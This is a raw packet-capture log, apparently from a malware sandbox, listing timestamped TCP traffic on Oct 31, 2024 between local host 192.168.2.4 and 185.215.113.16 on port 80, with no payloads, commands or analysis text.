Oct 31, 2024 05:07:10.826134920 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.826199055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.826210022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.826256037 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.940598011 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940614939 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940634012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940649033 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940661907 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940674067 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940753937 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940758944 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.940819979 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.940819979 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.940850973 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940861940 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940896988 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940907001 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.940908909 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940922022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940939903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.940943003 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.940960884 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.940980911 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941020012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941032887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941045046 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941056013 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941066980 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941071033 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941093922 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941128969 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941168070 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941179037 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941190004 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941200972 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941211939 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941215992 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941225052 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941230059 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941242933 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941256046 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941266060 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941277027 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941297054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941298008 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941298008 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941308975 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941320896 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941323042 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941333055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941337109 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941346884 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941359043 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941380024 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941405058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941425085 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941442966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941461086 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941472054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941478014 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941479921 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941488028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941500902 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941512108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941514015 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941514015 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941529989 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941533089 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941541910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941555023 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941565037 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941565990 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941579103 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941591024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941600084 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941600084 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941617966 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941632032 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941643953 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941656113 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941677094 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941688061 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941724062 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941724062 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941744089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941756010 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941773891 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941778898 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941791058 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941792011 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941809893 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941829920 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941852093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941863060 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941873074 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941884995 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941895962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941899061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941912889 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941941023 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941950083 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.941952944 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941967010 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941977978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.941996098 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.942011118 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.942076921 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.942090034 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.942100048 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.942115068 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.942130089 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.942167044 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.058615923 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058659077 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058698893 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058701038 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.058758020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.058758020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.058768988 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058784008 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058803082 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058809042 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.058826923 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.058856010 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.058873892 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058887005 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058900118 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058909893 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058917046 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.058931112 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058937073 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.058943987 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058957100 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058969021 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.058969975 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058984041 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.058994055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059003115 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059026003 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059037924 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059039116 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059066057 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059081078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059092999 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059092999 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059107065 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059119940 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059120893 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059139967 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059158087 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059158087 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059171915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059200048 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059227943 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059238911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059252024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059263945 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059283018 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059333086 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059341908 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059341908 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059344053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059357882 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059370041 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059375048 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059381962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059393883 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059411049 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059442997 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059462070 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059473991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059485912 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059498072 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059508085 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059524059 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059525967 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059542894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059557915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059568882 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059576988 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059576988 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059601068 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059601068 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059613943 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059628010 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059643984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059657097 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059659004 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059688091 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059688091 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059700012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059716940 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059732914 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059736013 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059746027 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059768915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059773922 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059781075 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059793949 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059803963 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059806108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059824944 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059854984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059909105 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059920073 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059937000 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059957981 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059979916 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.059979916 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.059993029 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060005903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060017109 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060022116 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.060030937 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060043097 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.060062885 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.060089111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.060110092 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060121059 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060132980 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060157061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.060190916 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.060201883 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060218096 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060229063 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060235023 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060242891 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060249090 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060255051 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060261965 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.060290098 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.060376883 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.176810026 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.176881075 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.176927090 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.176940918 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.176953077 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.176970959 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.176992893 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.176996946 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177006960 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177051067 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177069902 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177082062 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177093983 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177112103 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177112103 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177124977 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177136898 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177150011 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177150965 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177162886 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177176952 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177181005 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177191019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177202940 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177203894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177217960 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177223921 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177236080 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177243948 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177273989 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177328110 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177346945 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177359104 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177371025 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177371025 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177392006 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177402973 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177414894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177418947 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177428007 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177438974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177450895 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177494049 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177517891 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177534103 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177542925 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177546978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177561045 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177571058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177575111 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177587032 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177596092 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177607059 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177619934 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177624941 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177643061 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177644014 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177670002 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177694082 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177731991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177743912 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177756071 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177767992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177781105 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177784920 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177798986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177809954 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177810907 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177835941 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177854061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177877903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177890062 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177901030 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177912951 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177912951 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177934885 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177963018 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.177968979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.177979946 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178011894 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.178015947 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178029060 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178040028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178061962 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.178077936 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.178087950 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178100109 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178119898 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178132057 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178137064 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.178143024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178158998 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178177118 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.178195953 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.178232908 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178246975 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178257942 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178294897 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.178311110 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.178333044 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178345919 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178356886 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178369045 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178389072 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.178409100 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178421021 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178421974 CET	49803	80	192.168.2.4	185.215.113.16
